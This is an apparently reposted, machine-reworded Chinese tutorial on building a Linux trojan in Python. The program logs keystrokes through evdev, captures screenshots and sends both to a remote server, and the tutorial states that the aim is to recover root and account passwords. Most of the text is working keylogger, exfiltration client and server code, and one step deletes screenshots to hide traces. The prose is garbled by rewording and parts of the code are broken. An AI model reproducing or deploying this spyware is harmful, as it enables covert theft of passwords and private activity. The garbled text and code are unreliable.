一、试验详细介绍
1.1 试验具体内容
木马病毒程序会给普通用户产生许多伤害,例如窃取QQ账户,手机游戏账户等。课程内容将用Python完成一个简便的木马病毒程序,该程序会纪录客户的键盘键入和屏幕截图并将信息发送给特定的网络服务器。根据剖析键盘键入的数据信息,可以研究出root登陆密码和别的账户的登陆密码这些。
1.2 试验知识要点
- linux设备文档
- linux下Python多过程程序编写
- Python启用外界程序
- Python socket网络编程
- evdev库的应用
- Python完成键盘纪录和
1.3 参照编码获得
你能根据下边指令将编码免费下载到试验楼自然环境或是当地Linux自然环境中,做为参考比照开展学习培训。
wget http://labfile.oss.aliyuncs.com/courses/853/trojan.tar.gztar -xvf trojan.tar.gz
二、实验原理
input分系统是linux kernel中与外界键入设备联络较为密切的控制模块,例如咱们的键盘设备会投射到/dev/input文件目录下的某一设备文档,因为键盘属于标识符设备,因此我们可以将其作为一般的资料来实际操作(例如read、write)。根据持续的载入键盘设备文档,就可以彻底获得到客户的键盘键入。留意该程序没法运作在windows和macos系统下。
三、开发设计提前准备
最先开启xface, 组装实验室必须的第三方库evdev(linux下input键入分系统浏览的api库)
sudo apt-get updatesudo apt-get install python-devsudo pip install evdev
随后组装命令的截屏工具scrot
sudo apt-get install scrot
四、步骤整理
热烈欢迎各位添加我建立的Python行业论坛群,有大神答疑解惑,有共享资源,有公司惹人!是一个特别非常好的沟通产业基地!群号码:683380553
4.1 纪录键盘键入作用
键盘键入程序模块关键依照下列步骤去设计方案与完成
- 寻找/dev/input/文件目录下相应的键盘设备
- 应用evdev库获得键盘纪录的原始记录
- 对数据开展编解码解决添加到标识符缓冲区域
- 在标识符缓冲区域冲解决Backspace、Left、Right等独特功能键实际操作
- 将缓冲区域中的信息根据sockettcp协议插口传送到虚拟服务器
因为运作在docker器皿中的linux并没有键入分系统,可以依靠X11来纪录键盘键入
详尽文本文档可以参照。文中主要详细介绍根据Linux键入分系统的源代码完成。
4.2 程序总体方案设计
程序关键分成两种大的作用:
- 键盘纪录
- 屏幕截图
可以看到这两个作用是完完全全不相应的,为了更好地做到并行处理运作的实际效果,一半状况下选用
线程进程,因为屏幕截图作用根据Python启用外界程序实行,运作过程中会造成
一个子过程用于实行外界程序。因此大家立即选用多进程来完成。
五、实验步骤
5.1 屏幕截图
屏幕截图作用应用了Python启用外界程序技术性,常见的库用subprocess、os.system,commands等,在这儿大家应用了commands库,等多的用途可以参照 这篇blog。为了更好地让各位对程序了解更深层次,请依据注解中的显示进行对应的拓展作用做为训练。编码详细信息见screenshot.py,该编码可以同时实行。
from task import send_pic_taskdef screen_shot(file_name=\'screen_shot\', file_type=\'png\'):\"\"\" 本程序未完成特定照片存储的途径,客户自主完成该拓展作用 依靠os.path.join函数 \"\"\"print u\'3秒之后截屏\'time.sleep(3)# 启用外界程序# 由于服务器端代编码也是运作在远程服务器,假如名称一样。那麼os.remove实际操作将会会造成# 在当地看不见实际效果ret = commands.getstatusoutput(\"scrot \" file_name \'tmp.\' file_type)if ret[0] != 0:print u\"图片类型不兼容,请换用png jpg等常见文件格式\"return# 载入图象的二进制文件,开展数据传输with open(file_name \'tmp.\' file_type, \"rb\") as fp:send_pic_task(fp.read(), file_name, file_type)# 删掉scrot形成的照片,做为网络黑客可不可以留有印痕啊os.remove(file_name \'tmp.\' file_type)print u\'推送屏幕截图进行\'
5.2 键盘键入纪录作用
关键依照4.1的步骤来剖析编码。
5.2.1 寻找全部的键盘设备
/dev/input/文件目录下存有一些标识符设备文档,根据对这种资料的写入和操纵,
可以浏览具体设备,大量数据资料可以参照这儿。为了更好地寻找键盘设备,
必须掌握linux的虚拟内存设置系统文件sysfs, 它挂取决于/sys文件目录,它储存了系统软件核心和
设备推动的即时信息,我们要找的键盘设备的信息可以在/sys/class/input文件目录
下寻找,根据查询devices/name可以发觉,该文件纪录了设备的叙述信息。大量有关设备文档和虚拟内存设置系统文件的专业知识可以参照这儿。
在linux终端设备下实行以下指令(如linux运作在docker自然环境中无/dev/input文件目录,如发觉/dev/input文件目录存有,请绕过此实验步骤或是在当地Linux自然环境下试验)
根据编码完成挑选键盘设备(编码详见keylogger/keyboard.py):
def device_filter(dev_content):\"\"\" dev_content表明了设备的命名和信息 这儿根据关键词搜索的方法来判定该设备是不是键盘设备 \"\"\"# 假如设备信息发生中出現了keyboard这一关键字,那麼就以为是键盘设备if \"keyboard\" in dev_content.lower():return Truereturn Falsedef find_keyboard_devices(device_filter_func):\"\"\" 找到全部的键盘设备名 \"\"\"# 转换到/sys/class/input/这一文件目录下,相近cd命令os.chdir(DEVICES_PATH)result = []# 解析xml/sys/class/input/下的任何的文件目录for each_input_dev in os.listdir(os.getcwd()):# 寻找设备信息有关的文档dev_path = DEVICES_PATH each_input_dev \'/device/name\'# 假如这一设备是键盘设备if(os.path.isfile(dev_path) and device_filter_func(file(dev_path).read())):result.append(\'/dev/input/\' each_input_dev)if not result:print(\"并没有键盘设备\")# 立即完毕该过程sys.exit(-1)return resultdef monitor_keyboard(devs):# 将名投射到inputDevice目标devices = map(InputDevice, devs)# dev.fd一个文件描述符, 随后创建一个词典devices = {dev.fd: dev for dev in devices}return devices
5.2.2 应用evdev获得键盘键入的数据信息
在这儿大家应用evdev库来获得初始的键盘数据信息,在这儿大家应用select库来监视键盘的情况,若有键入时,readers回到键盘的文件描述符,evdev把键盘的键入转换为好几个event目标。在这儿只必须挑选种类为EV_KEY的键盘键入event目标就可以。库的使用说明书可以参照官方网文本文档
def linux_thread_func(file_name, file_type, content_handler, seconds=10):# 获得键盘设备devices = monitor_keyboard(find_keyboard_devices(device_filter))# 维护保养shift和caps情况, 对evdev库的event目标开展分析dec = decode_character()# 联接到特定的网络服务器# 运作 python server.py 可形成一个当地的服务项目server_instance = NetworkClient({\"IP\": \"127.0.0.1\", \"PORT\": 8888})# 传送一个文字传送的每日任务text_task = NetworkTaskManager(server_instance, file_type, file_name)hook_handler = [None, ]# 缓冲区域解决, 关系互联网文字传送每日任务char_handler = content_handler(text_task.send_content, hook_handler, seconds)now_t = time.time()while True:if int(time.time() - now_t) >= seconds:break# select 是监视文件描述符的一个库,监听现阶段全部的键盘设备readers, writes, _ = select(devices.keys(), [], [])# readers很有可能有好几个键盘设备,因此是一个二维数组构造for r in readers:# 键盘有键入实际操作events = devices[r].read()for event in events:if event.type == ecodes.EV_KEY:# 转换为修改的event对象,多了type, status_code属性cus_event = CusKeyEvent(event)# 对event开展解析ret_char = dec(cus_event)if ret_char:# 将现阶段标识符添加到缓存文件区,并实施有关的缓冲区域实际操作char_handler(ret_char)
5.2.3 解析evdev获得的原始数据
为了更好地解析原始数据,应用了下面作用组件:
- shift, caps功能键的模式管理方法组件StatusManager
- 拓展的event对象CurKeyEvent
在功能键全过程中,shift键和caps键会干扰别的键实际效果(与此同时按住shift ’z’那麼应该是’Z’),因而维护保养了一个StatusManager对象来管理方法shift和caps的情况,属性方式get_current_key可以依据目前的情况导出恰当的标识符结论。一部分别的的功能键,例如’,’假如与此同时按着shfit键那麼功能键的結果便是<,也是必须留意的地区,可参照get_current_key中的解决。
class StatusManager(object):def ._init__(self, *args, **kwargs):\"\"\"is_shift_press表明是否有与此同时按着shift, 与此同时按着shift和别的功能键会致使最终的结论不一样, shift \'c\' => \'C\' shift \'.\' = > \">\" caps 键缘故一样, 按一次会变为英文大写,再按一次会变为小写字母 # bug: 假如在运作本程序流程以前,caps已经被开启,那麼便会造成 程序流程纪录的标识符都是反的,现阶段并没有解决方案 \"\"\"self.is_shift_press = Falseself.is_caps_lock = Falsedef reverse_status(self, obj):\"\"\" 如果是true, 那麼回到False, 如果是False, 那麼回到True\"\"\"if obj:return Falsereturn Truedef recv_caps_message(self):\"\"\" 当按了一次caps键后, 会发生这一信息 将caps的情况置为反过来情况 \"\"\"self.is_caps_lock = self.reverse_status(self.is_caps_lock)def recv_shift_message(self):\"\"\" shift键被准时,造成这一信息 将shift的情况置为反过来 \"\"\"self.is_shift_press = self.reverse_status(self.is_shift_press)def get_current_key(self, in_str):status = False\"\"\"当caps和shift键并没有与此同时被应用, 那麼就必须小写变大写 例如按了一次caps变英文大写,再按一次shift就缩小写 \"\"\"\" if self.is_shift_press != self.is_caps_lock: status = True if status: return in_str.upper() # 对特殊符号的解决 if self.is_shift_press: return special_character_handler(in_str, True) return in_str def ._str__(self): # 用于开展调节的信息内容 return \"capital status \" str(self.is_shift_press != self.is_caps_lock) \"n\"
初始的
为了更好地将原始数据相匹配到ascii码表的标识符,大家要构建一个投射词典:
code_dict = {1: \'ESC\', 2: \'1\', 3: \'2\', 4: \'3\', 5: \'4\', 6: \'5\', 7: \'6\', 8: \'7\', 9: \'8\',10: \'9\', 11: \'0\', 14: \'backspace\', 15: \'tab\', 16: \'q\', 17: \'w\', 18: \'e\',19: \'r\', 20: \'t\', 21: \'y\', 22: \'u\', 23: \'i\', 24: \'o\', 25: \'p\', 26: \'[\',27: \']\', 28: \'enter\', 29: \'ctrl\', 30: \'a\', 31: \'s\', 32: \'d\', 33: \'f\', 34: \'g\',35: \'h\', 36: \'j\', 37: \'k\', 38: \'l\', 39: \';\', 40: \"\'\", 41: \'`\', 42: \'shift\',43: \'\\\', 44: \'z\', 45: \'x\', 46: \'c\', 47: \'v\', 48: \'b\', 49: \'n\', 50: \'m\', 51: \',\',52: \'.\', 53: \'/\', 54: \'shift\', 56: \'alt\', 57: \'space\', 58: \'capslock\', 59: \'F1\',60: \'F2\', 61: \'F3\', 62: \'F4\', 63: \'F5\', 64: \'F6\', 65: \'F7\', 66: \'F8\', 67: \'F9\',68: \'F10\', 69: \'numlock\', 70: \'scrollock\', 87: \'F11\', 88: \'F12\', 97: \'ctrl\', 99: \'sys_Rq\',100: \'alt\', 102: \'home\', 104: \'PageUp\', 105: \'Left\', 106: \'Right\', 107: \'End\',108: \'Down\', 109: \'PageDown\', 111: \'del\', 125: \'Win\', 126: \'Win\', 127: \'compose\'}
为了更好地简单化程序流程,大家在这儿不解决F1~12、Del等按不常见功能键的解决,因此大家对按钮开展归类,将这种功能键划归到unvalidate。而一些独特功能键,例如f5等根据is_show开展过虑,客户可自主改动该方式过虑不用的功能键。
5.2.4 标识符缓冲区域解决Backspace, Left, Right独特功能键
当应用数字键盘时必然的会出差错,那麼大家会实行退回(Backspace)实际操作,当按住Backspace功能键时上一次键入必须抹祛除,Left和Right实际操作会调至特定的地方开展键入。因此必须一个字符缓冲区域来纪录客户的键入便于解决上述情况。本程序流程中大家应用目录构造来做为缓冲区域。这儿一个要留意的地点便是hook_func主要参数,在Python时要更改传到的基本参数的值,那麼必须传到目录或是是词典构造,这儿应用目录来传值。该函数公式的功能是当程序流程停止纪录数字键盘时,保证缓冲区域的信息所有被推送出来。应用闭包来防止申明全局性缓冲区域自变量。客户可依据注解里的显示进行拓展作用。
def content_handler(net_work_handler, hook_func, str_cached_length=10):\"\"\" input_str_content 储存数字键盘的具体内容, str_cached_length 缓冲区域的尺寸为10K net_work_handler函数公式为解决纪录资料的函数公式 # TODO 现阶段的程序流程每一次都必须去测算具体内容的长短, 当导入的信息较为长时,是会严重影响特性的 我已经帮你界定了content_length, 请健全char_handler函数公式 应用content_length来替代len(input_str_content) \"\"\"input_str_content = []postion = [None, ]content_length = [0, ]# hook_func 是为了确保缓冲区域数据信息所有被推送出来def ._hook_func():if input_str_content:net_work_handler(\"\".join(input_str_content))hook_func[0] = __hook_funcdef char_handler(in_str):# backspace键,从缓冲区域减掉标识符if in_str == \'backspace\':if input_str_content:input_str_content.pop()# TODO content_length - 1elif in_str == \'Left\':# 第一次实行left实际操作时,从缓存文件区最右侧逐渐测算if postion[0] is None:postion[0] = len(input_str_content) - 2else:postion[0] = postion[0] - 1if postion[0] < 0:print u\"已经抵达现阶段缓冲区域开始\"postion[0] = 0elif in_str == \'Right\':# 第一次实行right实际操作时,从缓存文件区最右侧逐渐测算if postion[0] is None:postion[0] = len(input_str_content) - 1else:postion[0] = postion[0] 1if postion[0] >= len(input_str_content):print u\"已经抵达现阶段缓冲区域结尾\"postion[0] = len(input_str_content) - 1else:if postion[0] is None:postion[0] = 0input_str_content.insert(postion[0] 1, in_str)postion[0] = postion[0] 1# 缓存文件区已经满了,这时要将缓冲区域的具体内容解决# net_word_handler是开展具体内容解决的函数公式,储存到本地文件,# 还可以开展数据传输, 在于传到的处理函数if len(input_str_content) >= str_cached_length:ret = net_work_handler(\"\".join(input_str_content))if not ret:print u\"网络错误,没法推送键盘记录器文档,缓冲区域已满, 程序流程完毕\"sys.exit(-2)input_str_content[:] = []# TODO content_length 1return char_handler
5.2.5 数据信息开展数据传输
依据之前的流程大家已经获得大家所必须的屏幕截屏和数字键盘的数据信息,下面大家必须将这种信息发送给特定的网络服务器。在这儿必须熟悉下Python的网络编程的相应专业知识。最先详细介绍服务器端的程序编写的主要流程:
- 创建一个sockettcp协议对象
- 关联这一tcp协议到云服务器的ip和端口
- 设定较大连接总数
- 接纳手机客户端的连接
- 与手机客户端开展通信
- 关掉有关网络资源
用Python完成的源代码如下所示,这是一个最基本上网络服务器的完成,该木马程序中的实例网络服务器也是根据这一模式开展的。
import socketimport json# 打开ip和端口号ip_port = (\'127.0.0.1\', 8888)# 形成一个句柄sk = socket.socket()# 关联ip端口sk.bind(ip_port)# 较多线程数sk.listen(5)# 自定的数据处理函数def data_handle(data):pass# 打开无限循环,接纳客户端的请求while True:conn, addr = sk.accept()header_message = conn.recv(1024)# 获得客户端请求数据client_data = conn.recv(1024*10)# 数据开展相关业务解决data_handle(client_data)conn.close()sk.close()
下面的大家探讨客户端的完成,客户端的程序编写的基础实体模型比服务器端要简洁一些。仅有2个流程:
- 与服务器进行联接
- 和服务器进行数据通信
如今考虑一下在这个木马程序中大家必须给服务器发送这些数据,非常容易剖析出大家必须传送<文件夹名称,文件属性,文档的主要内容,完毕标示>,为什么必须完毕标示咧?由于客户端已经推送完数据了,必须通告网络服务器数据已经进行,可以断开了,这个时候客户端和网络服务器就能正常的断开,将网络资源归还电脑操作系统了。
如今大家进行思索怎样完成客户端的作用,使我们再度整理一下客户端的作用:
- 创建与网络服务器的联接
- 推送文件夹名称和文件属性(通称信息头顶部)
- 推送档案的主要内容
- 推送完毕标示
在本程序流程中大家除开推送数字键盘数据外也有屏幕截屏,由于这两个作用是并行执行的,因此这两大类数据的推送不可以同用同一个服务器连接(不然电脑键盘数据和图象数据混和在一起就无法区别了)。本程序流程维护保养了一个服务器连接的类,
class NetworkClient(object):def ._init__(self, config):self.server_ip = config[\'IP\']self.server_port = config[\'PORT\']# 新创建一个scoket目标self.sock = socket.socket()# 创建与网络服务器的联接self.sock.connect((self.server_ip, self.server_port))def send_data(self, data):# 推送数据到网络服务器ret = self.sock.sendall(data)assert ret != -1def destroy(self):# 断掉与网络服务器的联接try:self.sock.close()except Exception as e:print e
将每一次的数据推送抽象化成一次互联网每日任务,推送信息头顶部就等同于实行了一次互联网每日任务。
class NetworkTaskManager(object):def ._init__(self, server_instance, file_type, file_name):self.server_instance = server_instanceself.file_type = file_typeself.file_name = file_name# 推送信息头, 在这儿是为了更好地推送文件夹名称和文件属性self.send_message_header()def send_message_header(self):# 推送信息头顶部header_message = {\"file_name\": self.file_name,\"file_type\": self.file_type}# 创建一个每日任务,随后推送对应的具体内容task = BasicNetworkTask(self.server_instance, json.dumps(header_message))task.run()def send_content(self, content):# 推送档案的文章正文task = BasicNetworkTask(self.server_instance, content)task.run()return \"success\"def send_stop_message(self):# 推送完毕标示# 创建一个每日任务,随后推送对应的具体内容,告知数据已经推送结束content = \"rnoverrn\"task = BasicNetworkTask(self.server_instance, content)task.run()# 还记得释放出来这一tcp的连接self.server_instance.destroy()
5.2.6 运作程序流程
以上大家完成了键盘记录器、截屏工具、数据推送作用。依据4.2,在这儿叙述下Python的多进程程序编写,将以上作用组成在一起完成高并发运作。 Python下
的多进程程序编写常见的库是muptiprocessing,multiprocessing库给予了十分强有力的作用,适用子过程、通信和共享资源数据。 但因本程序流程限定在linux自然环境下,
因此应用更加轻巧的os.fork来建立多进程程序流程。
def main(key_name, pic_name, key_type=\'txt\', pic_type=\'png\'):\"\"\" 由于捕获键盘记录器 和屏幕截屏 是2个单独的每日任务, 因此在这儿fork造成一个新的过程来实行屏幕截屏 \"\"\"f = os.fork()if f == 0:# 这儿是子过程, 会启用外界程序流程screen_shot(pic_name, pic_type)else:# 父过程keylogger_func(key_name, key_type)
下面大家运作一下程序流程看一下试验实际效果。
打开电脑键盘数据的服务项目
- python server.py -p 8888
打开接受照片数据的服务项目
- python server -p 8889
运作大家的子程序
- python main.py
在程序执行期内,你能在键盘上随意键入就可以开展纪录了。运作实际效果如下所示,在其中shot.png是网络服务器储存下来的屏幕截屏,key.txt是键盘记录器的数据。
def main(key_name, pic_name, key_type=’txt’, pic_type=’png’):
“””
由于捕获键盘记录器 和屏幕截屏 是2个单独的每日任务,
因此在这儿fork造成一个新的过程来实行屏幕截屏
“””
f = os.fork()
if f == 0:
# 这儿是子过程, 会启用外界程序流程
screen_shot(pic_name, pic_type)
else:
# 父过程
keylogger_func(key_name, key_type)
六 汇总
根据Linux的设备维护有关常识和evdev库的应用,完成键盘记录器,并介绍了缓冲区域的处置办法和网络编程的相应专业知识。运用多进程程序编写完成
屏幕截屏和键盘记录器高并发实行的实际效果。根据此项目地学习培训和完成,可以掌握木马程序的主要构造和基本原理,加强对Linux的最底层的掌握,实践活动网络编程及有关运用。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。